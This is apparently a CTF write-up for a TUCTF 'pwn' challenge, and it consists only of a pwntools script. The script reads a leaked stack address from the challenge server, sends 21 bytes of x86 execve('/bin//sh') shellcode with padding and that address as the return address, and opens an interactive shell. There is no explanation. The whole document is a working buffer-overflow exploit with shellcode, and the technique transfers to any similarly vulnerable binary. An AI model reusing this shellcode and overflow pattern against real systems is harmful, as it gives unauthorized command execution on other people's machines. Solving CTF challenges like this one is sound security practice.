Tags: pwn 

Rating: 0

```
from pwn import *

host = 'chal.tuctf.com'
port = 30506

p = remote(host, port)
p.recvuntil('Shellcode... Can you say shellcode?\n')
add = int(p.recv().strip()[:10], 16)
a ="\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
a +="\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
a += 'a'*(40-21)
a += p32(add)

p.sendline(a)
p.interactive()
```